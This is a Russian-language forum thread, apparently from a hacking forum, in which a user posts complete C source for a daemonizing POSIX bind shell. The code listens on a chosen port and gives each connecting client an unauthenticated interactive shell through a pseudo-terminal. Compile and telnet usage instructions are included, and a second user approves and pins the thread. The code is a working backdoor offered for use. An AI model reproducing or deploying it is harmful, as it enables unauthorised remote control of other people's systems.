pty bindshell

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ZaCo, 23 Jun 2007.

  1. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    нашел исходник своего биндшелла под posix работающего через псевдо-терминальное устройство, что позволяет работать с такими утилитами как mc, more и т.д. а так же работать с "горячими" клавишами как у настоящего терминала - ctrl-z, ctrl-d, ctrl-c... реализация не новая, но кому интересно с этой темой разобраться можно посмотреть:

    Code:
    /*
     coded by ZaCo
     compile : gcc -lpthread -lutil bind.c -o bind
     exec    : ./bind 6669
      telnet host 6669
    */
    
    #define NUM 3      //максимальное количество клиентов
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <sys/wait.h>
    #include <sys/time.h>
    #include <sys/poll.h>
    #include <fcntl.h>
    #include <netinet/in.h>
    #include <unistd.h>
    #include <signal.h>
    #include <termios.h>
    #include <arpa/inet.h>
    #include <sys/ioctl.h>
    
    #define SOCKET int
    #define INVALID_SOCKET -1
    #define SOCKET_ERROR -1
    #define MSG_HEADER "bind shell by ZaCo\r\n"
    #define MSG_ERR_NUM_USERS "max users connections\r\n"
    #define MSG_BYE "Good bye.\n"
    #define BUF_SIZE 1024
    
    SOCKET bot,sock;
    int shared[2];
    pid_t child_pid;
    
    void set_tattr(int, struct termios *);
    void client(void);
    void onTermC(int);
    void onChild(int);
    
    
    //устанавливаем свойства устройству по дескрептору fg, 
    //сохраняя прежние настройки по указателю old
    
    void set_tattr(int fd,struct termios * old)
     {
      struct termios t;
      int res;
      res=tcgetattr(fd, old);
      t=*old;
      if(res<0)return;   
      //
      cfmakeraw(&t);
    //  t.c_iflag|=IGNCR|ICRNL|IXON;
      t.c_iflag|=ICRNL|IXON|IGNCR;
      t.c_iflag&=~(IGNBRK|BRKINT|IGNPAR|PARMRK|INPCK|ISTRIP|INLCR|IXOFF|IXANY|IMAXBEL);
      //
      t.c_oflag|=OPOST|ONLCR;
      t.c_oflag&=~(OCRNL|ONOCR|ONLRET);
    
      //t.c_oflag&=~ONOEOT; 
      t.c_lflag|=ISIG|ICANON|IEXTEN|ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE;
      t.c_lflag&=~(ECHONL|NOFLSH|TOSTOP|ECHOPRT|PENDIN|  ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE);
     // t.c_lflag|=ICANON|ISIG;
     
      t.c_cflag|=CS8|CREAD;
      t.c_cflag&=~(PARENB|PARODD|HUPCL|CSTOPB|CLOCAL|CRTSCTS);
      //
      t.c_cc[VINTR]=0x03;
      t.c_cc[VSUSP]=0x1A;
      t.c_cc[VEOF]=0x04;
      t.c_cc[VERASE]=0x08;
    
      t.c_cc[VMIN]=1;
      t.c_cc[VTIME]=0;
      //
      res=tcsetattr(fd,TCSANOW,&t);
      if(res<0)return;
     }
    
    //обрабатываем клиента, дочерний процесс
    
    void client(void)
     {  
      char buf[BUF_SIZE];
      int rb, num, nfds;
      struct pollfd dpoll[2];
    
      //для работы с псевдотерминалом  
      int amaster,aslave;
      struct termios t_master,t_slave;
      //отправляем banner для рекламы
      send(sock,MSG_HEADER,strlen(MSG_HEADER),0);    
      //устанавливаем все атрибуты
      if(openpty(&amaster,&aslave,NULL,NULL,NULL)<0); 
      set_tattr(amaster,&t_master);
      set_tattr(aslave,&t_slave);
    
      //////////////////////
      child_pid=fork();
      if(child_pid==0)
       {
        close(amaster);
        login_tty(aslave);
        //
        execlp("sh","sh",NULL);    
        exit(0);
       }
      close(aslave);
      //////////////////////
    
      dpoll[0].fd=sock;
      dpoll[0].events=POLLIN;
    
      dpoll[1].fd=amaster;
      dpoll[1].events=POLLIN;
      //
      nfds=2;
      dpoll[0].revents=0;
      dpoll[1].revents=0;
    
      //цикл - пока жив клиент и пока можем читать\писать дочернему процессу == он живой :)
      int ex=0;
      while(!ex && poll(&dpoll[0],nfds,-1)>0) 
       {
        if(dpoll[0].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1;
         else
          if(dpoll[0].revents&POLLIN)
           {
            rb=recv(sock,buf,BUF_SIZE,0);
            if( (rb<=0) || (write(amaster,buf,rb)<=0) )ex=1;
           }
    
        if(dpoll[1].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1;
         else
          if(dpoll[1].revents&POLLIN)
           {
            rb=read(amaster,buf,BUF_SIZE);
            if( (rb<=0) || (send(sock,buf,rb,0)<=0) ) ex=1;
           }
    
        dpoll[0].revents=0;
        dpoll[1].revents=0;
       }
      //
      kill(child_pid,SIGKILL);//убиваем дочерний процесс шелла
      //ставим обратно все свойства устройства
      tcsetattr(amaster,TCSANOW,&t_master);
      tcsetattr(aslave,TCSANOW,&t_slave);
      //
      close(amaster);
     }
    //
    void onTermF(int sid)
     {
      if(bot!=0)//не убиваемся ли повторно
       {
        shutdown(bot,SHUT_RDWR);
        close(bot);
    
        bot=0; //так как сигнал отправляет всей группе
        printf(MSG_BYE);
        kill(0,SIGTERM);
       }
      wait(NULL);
      exit(0);
     }
    //
    void onTermC(int sid)
     {
      if(child_pid!=0) 
       {
        kill(child_pid,SIGKILL); //убиваем дочерний процесс
       }
      signal(sid,onTermC);
     }
    //
    void onChild(int sid)
     {
      //от зомби
      wait(NULL);
     }
    //
    int main(int argc, char * argv[])
     {
      if(argc!=2)
       {
        puts("port!"); 
        exit(0);
       }
      //demon  
      if(fork()>0)exit(0);
      setsid();
      //
      int port=atoi(argv[1]);
      
      struct sockaddr_in addr,cl_addr;
      socklen_t addr_len=sizeof(struct sockaddr);
      int num_of_clients=0,rc;
      char c,first=1;
      int on;
      //
      pipe(shared);
      on=1;
      //читаем в асинхронном режиме
      ioctl(shared[0],FIONBIO,&on);
      child_pid=0;
      
      signal(SIGINT,onTermF);
      signal(SIGALRM,onTermF);
      signal(SIGQUIT,onTermF);
      signal(SIGTERM,onTermF);
     
      signal(SIGCHLD,onChild);
      //
      if((bot=socket(AF_INET,SOCK_STREAM,0)) && bot!=INVALID_SOCKET)
       {
        memset(&addr,sizeof(addr),0);
        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);
        addr.sin_addr.s_addr=0;
        //    
        struct linger ling;
        ling.l_onoff=1;
        ling.l_linger=0;
        rc=1;
        setsockopt(bot,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger));
        setsockopt(bot,SOL_SOCKET,SO_REUSEADDR,&rc,sizeof(rc));
        //setsockopt(bot,SOL_SOCKET,SO_REUSEPORT,&rc,sizeof(rc));
        if(bind(bot,(const struct sockaddr*)&addr,addr_len)!=SOCKET_ERROR)
         {
          if(listen(bot,SOMAXCONN)!=SOCKET_ERROR)
           {
            while(1)
             {
              sock=accept(bot,(struct sockaddr*)&addr,&addr_len);
              if(sock!=INVALID_SOCKET)
               {
                //проверяем количество подключенных клиентов
                if(read(shared[0],&c,1)>0) num_of_clients--;
                if(num_of_clients>=NUM)
                 {
                  send(sock,MSG_ERR_NUM_USERS,strlen(MSG_ERR_NUM_USERS),0);
                  shutdown(sock,SHUT_WR);
                  close(sock);
                  continue;
                 }
    
                setsockopt(sock,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger));
    //            getpeername(sock,(struct sockaddr*)&cl_addr,&addr_len);
    //            printf("ip:%s\n",inet_ntoa(cl_addr.sin_addr));
                num_of_clients++;
                child_pid=fork(); 
                if(child_pid==0) 
                 {
                  signal(SIGINT,onTermC);
                  signal(SIGALRM,onTermC);
                  signal(SIGQUIT,onTermC);
                  signal(SIGTERM,onTermC);
    
                  client();
    
                  send(sock,MSG_BYE,strlen(MSG_BYE),0);
                  shutdown(sock,SHUT_RDWR); 
                  write(shared[1],"\x01",1);//на одного клиента меньше ;)
                  //                        
                  wait(NULL);
                  exit(0);
                 }
               }
             }
           }
         }
        else
         {
          printf("bind error.\n");
         }
        shutdown(bot,SHUT_RDWR);
        close(bot);
       }
      else
       {
        printf("socket error.\n");
       }
      printf(MSG_BYE);
      exit(0);
     }
    
     
    10 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    О, ты его выложил тут :) Темку закреплю, полезно.
     
    1 person likes this.